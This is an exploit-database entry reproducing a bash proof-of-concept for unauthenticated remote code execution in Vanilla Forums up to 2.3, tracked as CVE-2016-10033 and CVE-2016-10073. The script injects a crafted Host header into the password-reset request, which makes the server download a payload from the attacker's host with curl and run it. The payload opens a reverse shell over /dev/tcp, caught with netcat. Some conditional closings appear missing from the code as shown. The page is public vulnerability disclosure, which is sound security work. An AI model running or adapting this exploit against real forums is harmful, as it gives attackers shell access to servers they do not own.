发布 2017-05-11 漏洞条目

Vanilla Forums < 2.3 - Remote Code Execution

Exploit Source

#!/bin/bash

# __ __ __ __ __

# / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________

# / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/

# / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )

# /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/

# /____/

# Vanilla Forums <= 2.3 Remote Code Execution (RCE) PoC Exploit 0day

# Core version (no plugins, default config.)

# CVE-2016-10033 (RCE)

# CVE-2016-10073 (Header Injection)

# vanilla-forums-rce-exploit.sh (ver. 1.0)

# Discovered and coded by

# Dawid Golunski

# https://legalhackers.com

# https://twitter.com/dawid_golunski

# ExploitBox project:

# https://ExploitBox.io

# Exploit code:

# https://exploitbox.io/exploit/vanilla-forums-rce-exploit.sh

# Full advisory URL:

# https://exploitbox.io/vuln/Vanilla-Forums-Exploit-RCE-0day-Remote-Code-Exec-CVE-2016-10033.html

# Related advisories:

# https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html

# https://exploitbox.io/vuln/Vanilla-Forums-Exploit-Host-Header-Injection-CVE-2016-10073-0day.html

# White-paper 'Pwning PHP mail() function For Fun And RCE'

# https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

# Usage:

# ./vanilla-forums-rce-exploit.sh target-forum-url reverse_shell_ip

# Tested on:

# Vanilla Core 2.3

# https://open.vanillaforums.com/addon/vanilla-core-2.3

# Disclaimer:

# For testing purposes only

# -----------------------------------------------------------------

# Interested in vulnerabilities/exploitation?

# .;lc'

# .,cdkkOOOko;.

# .,lxxkkkkOOOO000Ol'

# .':oxxxxxkkkkOOOO0000KK0x:'

# .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;.

# ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl.

# '';ldxxxxxdc,. ,oOXXXNNNXd;,.

# .ddc;,,:c;. ,c: .cxxc:;:ox:

# .dxxxxo, ., ,kMMM0:. ., .lxxxxx:

# .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx:

# .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx:

# .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx:

# .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx:

# .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx:

# .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx:

# .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx:

# .dxxxxxdl;. ., .. .;cdxxxxxx:

# .dxxxxxxxxxdc,. 'cdkkxxxxxxxx:

# .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,.

# .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.

# .':oxxxxxxxxx.ckkkkkkkkxl,.

# .,cdxxxxx.ckkkkkxc.

# .':odx.ckxl,.

# .,.'.

# Subscribe at:

# https://ExploitBox.io

# https://twitter.com/Exploit_Box

# -----------------------------------------------------------------

intro="

DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r

bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f

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b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb

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eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb

WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO

TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg

ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb

MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD

G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob

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NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb

MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f

X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4

bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K"

function prep_host_header() {

cmd="$1"

rce_cmd="\${run{$cmd}}";

# replace / with ${substr{0}{1}{$spool_directory}}

#sed 's^/^${substr{0}{1}{$spool_directory}}^g'

rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"

# replace ' ' (space) with

#sed 's^ ^${substr{10}{1}{$tod_log}}$^g'

rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"

#return "target(any -froot@localhost -be $rce_cmd null)"

host_header="target(any -froot@localhost -be $rce_cmd null)"

return 0

}

echo "$intro" | base64 -d

if [ "$#" -ne 2 ]; then

echo -e "Usage:\n$0 target-forum-url reverse_shell_ip\n"

exit 1

target="$1"

rev_host="$2"

echo -e ' \e[44m| ExploitBox.io |\e[0m'

echo -e "

\e[94m+ --=|\e[0m \e[91m Vanilla Forums <= 2.3 Unauth. RCE Exploit \e[0m \e[94m|\e[0m"

#sleep 1s

echo -e "\e[94m+ --=|\e[0m \e[94m|\e[0m

\e[94m+ --=|\e[0m Discovered & Coded By \e[94m|\e[0m

\e[94m+ --=|\e[0m \033[94mDawid Golunski\033[0m \e[94m|\e[0m

\e[94m+ --=|\e[0m \033[94mhttps://legalhackers.com\033[0m \e[94m|\e[0m

\e[94m+ --=|\e[0m \033[94m@dawid_golunski\033[0m \e[94m|\e[0m

\e[94m+ --=|\e[0m \e[94m|\e[0m

\e[94m+ --=|\e[0m \"With Great Power Comes Great Responsibility\" \e[94m|\e[0m

\e[94m+ --=|\e[0m \e[91m*\e[0m For testing purposes only \e[91m*\e[0m \e[94m|\e[0m

echo -ne "\e[91m[*]\033[0m"

read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice

echo

if [ "$choice" == "y" ]; then

echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"

#sleep 2s

# Host payload on :80

RCE_exec_cmd="(sleep 5s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &"

echo "$RCE_exec_cmd" > rce.txt

python -mSimpleHTTPServer 80 2>/dev/null >&2 &

hpid=$!

# POST data string

data='hpt=&Target=discussions&Email=admin&Request+a+new+password=Request+a+new+password&DeliveryType=VIEW&DeliveryMethod=JSON'

# Save payload on the target in /tmp/rce

cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"

prep_host_header "$cmd"

curl -H"Host: $host_header" -0 -s -i -d "$data" $target/entry/passwordrequest | grep -q "200 OK"

if [ $? -ne 0 ]; then

echo "[!] Failed conecting to the target URL. Exiting"

exit 2

echo -e "\e[92m[+]\033[0m Connected to the target"

echo -e "\n\e[92m[+]\e[0m Payload sent successfully"

sleep 2s

# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce

cmd="/usr/bin/nohup /bin/bash /tmp/rce"

prep_host_header "$cmd"

#echo -e "Host Payload2: \nHost: $host_header"

curl -H"Host: $host_header" -s -0 -i -d "$data" $target/entry/passwordrequest >/dev/null 2>&1 &

echo -e "\n\e[92m[+]\033[0m Payload executed!"

echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"

nc -vv -l 1337

#killall python

echo

else

echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n"

exit 0

#kill -9 $hpid

echo "Exiting..."

exit 0

作者: Dawid Golunski
日期: 2017-05-11
类别: remote
平台: php

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